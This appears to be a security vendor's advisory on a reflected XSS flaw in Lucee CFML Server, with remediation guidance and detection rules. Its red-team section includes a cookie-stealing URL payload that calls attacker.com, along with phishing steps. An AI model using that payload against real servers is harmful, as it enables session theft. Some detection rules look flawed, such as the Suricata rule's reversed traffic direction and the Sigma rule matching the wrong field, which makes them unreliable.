CVE-2026-29519
Executive Summary
CVE-2026-29519 is a reflected cross-site scripting (XSS) vulnerability in Lucee CFML Server, affecting versions 5.3.x, 6.1.x, 6.2.x, and 7.0.x. The flaw resides in the URL path parsing mechanism, where unauthenticated remote attackers can inject arbitrary HTML or JavaScript payloads into the request path. These payloads are reflected back in the server’s response without proper output encoding, enabling session hijacking, credential theft, or unauthorized actions against the Lucee administrative interface. The vulnerability requires user interaction (a victim clicking a crafted link) and has a CVSS v3.1 base score of 6.1 (Medium). No public proof-of-concept or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Lucee is a CFML application server commonly used in enterprise environments. This vulnerability does not directly affect package registries (NPM, PyPI, Go, Ruby) but impacts the Lucee server software itself. Organizations using Lucee should treat this as a critical supply chain risk due to the potential for administrative interface compromise.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires user interaction, but the impact on confidentiality and integrity is limited. However, the administrative interface exposure increases risk.
Deep Dive & Mechanics
The vulnerability exists in Lucee’s URL path parsing logic. When a request is made to the server, the path component is processed and reflected in the response (e.g., in error messages, debug output, or redirect pages) without proper HTML encoding. An attacker can craft a URL such as:
http://target.lucee.com/<script>alert('XSS')</script>
When the victim visits this URL, the injected script is executed in the context of the Lucee server’s domain. This allows the attacker to:
- Steal session cookies (if not HttpOnly)
- Perform actions on behalf of the victim (e.g., modify server settings)
- Redirect to malicious sites
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding when the server includes the request path in its response.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Lucee URL path handling (simplified)
String path = request.getRequestURI();
response.getWriter().write("Requested path: " + path);
Patched Code (Conceptual):
// Properly encode output
String path = request.getRequestURI();
String encodedPath = StringEscapeUtils.escapeHtml4(path);
response.getWriter().write("Requested path: " + encodedPath);
No official patch has been released by Lucee. The fix should involve HTML-encoding all user-controlled input before reflection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Lucee server (version 5.3.x, 6.1.x, 6.2.x, or 7.0.x)
- A victim with access to the Lucee administrative interface
Exploitation Steps:
- Identify a vulnerable Lucee instance (e.g., via Shodan or manual scanning).
- Craft a malicious URL containing JavaScript payload:
http://target.lucee.com/<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Send the URL to the victim (e.g., via phishing email).
- When the victim clicks the link, the script executes, sending their session cookie to the attacker.
- Use the stolen cookie to hijack the victim’s session and access the Lucee admin panel.
No public exploit code is available.
Blue Team
Detection:
- Monitor web server logs for unusual URL patterns containing
<script>,%3Cscript%3E, or other HTML/JavaScript tags. - Use WAF rules to block requests with script tags in the URL path.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Hunting:
- Search for URLs with encoded or unencoded HTML tags in the path component.
- Correlate with user agent anomalies or known attacker IPs.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
<script>,%3Cscript%3E,onerror=,alert(, or similar XSS payloads in the path. - Log Entries: HTTP 200 responses with reflected script content in the body.
- Network Traffic: Outbound connections from victim browsers to attacker-controlled domains (e.g., for cookie exfiltration).
- File Hashes: N/A (no file-based IOCs).
Detection Engineering
YARA Rule
rule lucee_reflected_xss_cve_2026_29519 {
meta:
description = "Detects reflected XSS attempts against Lucee CFML Server"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-29519"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
condition:
any of them
}
Sigma Rule
title: Lucee Reflected XSS Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against Lucee CFML Server (CVE-2026-29519)
author: Valters IT
date: 2026/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- '%3Cscript%3E'
- 'onerror='
- 'alert('
condition: selection
falsepositives:
- Legitimate use of script tags in URL parameters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-29519 Lucee Reflected XSS Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"<script"; http_uri;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2026-29519;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately.
- WAF Rules: Deploy WAF rules to block requests containing HTML/JavaScript tags in the URL path.
- Input Validation: Implement server-side validation to reject URLs with suspicious characters.
- Output Encoding: Ensure all user-controlled input is HTML-encoded before reflection.
Long-Term Fixes:
- Apply vendor patch when released.
- Conduct code review of URL path handling logic.
- Implement Content Security Policy (CSP) headers to reduce XSS impact.
- Enable HttpOnly and Secure flags on session cookies.
Workarounds:
- Disable debug/error pages that reflect the request path.
- Use a reverse proxy to sanitize incoming URLs.
Valters IT